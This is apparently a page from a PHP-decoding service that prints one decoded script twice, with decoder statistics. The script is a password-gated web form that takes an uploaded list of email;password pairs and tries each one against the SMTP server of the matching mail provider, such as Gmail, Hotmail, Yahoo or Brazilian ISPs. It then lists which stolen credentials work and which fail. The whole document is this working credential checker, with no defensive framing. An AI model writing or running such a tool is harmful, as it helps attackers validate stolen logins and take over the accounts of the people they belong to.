Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<form enctype="multipart/form-data" action="" method="POST"> Chave <input type="t..
Decoded Output download
<form enctype="multipart/form-data" action="" method="POST">
Chave <input type="text" name="chave" >
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Fire" />
</form>
<?php
ini_set('max_execution_time', 30000);
require_once 'class.phpmailer.php';
require_once 'class.smtp.php';
$retorno = '';
$funciona = '';
$naofunciona ='';
$dominios = array(
"uol.com.br" => array("smtps.uol.com.br",587),
"gmail.com" => array("smtp.gmail.com",25),
"gmail.com.br" => array("smtp.gmail.com",25),
"GMAIL.COM" => array("smtp.gmail.com",25),
"hotmail.com" => array("smtp.live.com",587),
"live.com" => array("smtp.live.com",587),
"outlook.com" => array("smtp.live.com",587),
"oi.com.br" => array("smtp.oi.com.br",587),
"ig.com.br" => array("smtp.googlemail.com",25),
"superig.com.br" => array("smtp.superig.com.br",587),
"terra.com.br" => array("smtp.terra.com.br",587),
"bol.com.br" => array("smtps.bol.com.br",587),
"yahoo.com.br" => array("smtp.mail.yahoo.com.br",25),
"yahoo.com" => array("smtp.mail.yahoo.com",25),
"r7.com.br" => array("smtp.r7.com",587),
"globo.com" => array("smtp.gmail.com",25),
"click21.com.br" => array("smtp.click21.com.br",25),
"ibest.com.br" => array("smtp.ibest.com.br",25),
"pop.com.br" => array("smtp.pop.com.br",25),
"brturbo.com" => array("smtp.brturbo.com",25)
);
if(isset($_POST['chave'])){
if($_POST['chave'] != "canihazmail?" )
{
echo "nice try young padawan !"; exit;
}
if (is_uploaded_file($_FILES['file']['tmp_name'])){
$fileData = file_get_contents($_FILES['file']['tmp_name']);
foreach(preg_split("/((
?
)|(
?))/", $fileData) as $line){
$line = (explode(';', $line));
$email = $line[0];
$domain = array_pop(explode('@', $line[0]));
$smtp = $dominios[$domain][0];
$porta = $dominios[$domain][1];
//echo $smtp.' - '.$porta.' - '.$email.' - '.$domain;exit;
$mail = new PHPMailer(true);
$mail->SMTPAuth = true;
$mail->Username = $email;
$mail->Password = $line[1];
$mail->Host = $smtp;
$mail->Port = $porta;
$validCredentials = false;
try {
$validCredentials = $mail->SmtpConnect();
$funciona .= '<font color="green">'.$email.';'.$line[1].'</font></br>';
}
catch(Exception $error) {
$naofunciona .= '<font color="red">'.$email.';'.$line[1].'</font></br>';
}
}
}
echo $funciona.'</br><hr>No funciona</br>'.$naofunciona;
}
?>
Did this file decode correctly?
Original Code
<form enctype="multipart/form-data" action="" method="POST">
Chave <input type="text" name="chave" >
<input type="file" name="file" id="file" />
<input type="submit" name="submit" value="Fire" />
</form>
<?php
ini_set('max_execution_time', 30000);
require_once 'class.phpmailer.php';
require_once 'class.smtp.php';
$retorno = '';
$funciona = '';
$naofunciona ='';
$dominios = array(
"uol.com.br" => array("smtps.uol.com.br",587),
"gmail.com" => array("smtp.gmail.com",25),
"gmail.com.br" => array("smtp.gmail.com",25),
"GMAIL.COM" => array("smtp.gmail.com",25),
"hotmail.com" => array("smtp.live.com",587),
"live.com" => array("smtp.live.com",587),
"outlook.com" => array("smtp.live.com",587),
"oi.com.br" => array("smtp.oi.com.br",587),
"ig.com.br" => array("smtp.googlemail.com",25),
"superig.com.br" => array("smtp.superig.com.br",587),
"terra.com.br" => array("smtp.terra.com.br",587),
"bol.com.br" => array("smtps.bol.com.br",587),
"yahoo.com.br" => array("smtp.mail.yahoo.com.br",25),
"yahoo.com" => array("smtp.mail.yahoo.com",25),
"r7.com.br" => array("smtp.r7.com",587),
"globo.com" => array("smtp.gmail.com",25),
"click21.com.br" => array("smtp.click21.com.br",25),
"ibest.com.br" => array("smtp.ibest.com.br",25),
"pop.com.br" => array("smtp.pop.com.br",25),
"brturbo.com" => array("smtp.brturbo.com",25)
);
if(isset($_POST['chave'])){
if($_POST['chave'] != "canihazmail?" )
{
echo "nice try young padawan !"; exit;
}
if (is_uploaded_file($_FILES['file']['tmp_name'])){
$fileData = file_get_contents($_FILES['file']['tmp_name']);
foreach(preg_split("/((\r?\n)|(\r\n?))/", $fileData) as $line){
$line = (explode(';', $line));
$email = $line[0];
$domain = array_pop(explode('@', $line[0]));
$smtp = $dominios[$domain][0];
$porta = $dominios[$domain][1];
//echo $smtp.' - '.$porta.' - '.$email.' - '.$domain;exit;
$mail = new PHPMailer(true);
$mail->SMTPAuth = true;
$mail->Username = $email;
$mail->Password = $line[1];
$mail->Host = $smtp;
$mail->Port = $porta;
$validCredentials = false;
try {
$validCredentials = $mail->SmtpConnect();
$funciona .= '<font color="green">'.$email.';'.$line[1].'</font></br>';
}
catch(Exception $error) {
$naofunciona .= '<font color="red">'.$email.';'.$line[1].'</font></br>';
}
}
}
echo $funciona.'</br><hr>No funciona</br>'.$naofunciona;
}
?>
Function Calls
ini_set | 1 |
Stats
MD5 | 5562ace547717fbc5a015db308dd1a63 |
Eval Count | 0 |
Decode Time | 95 ms |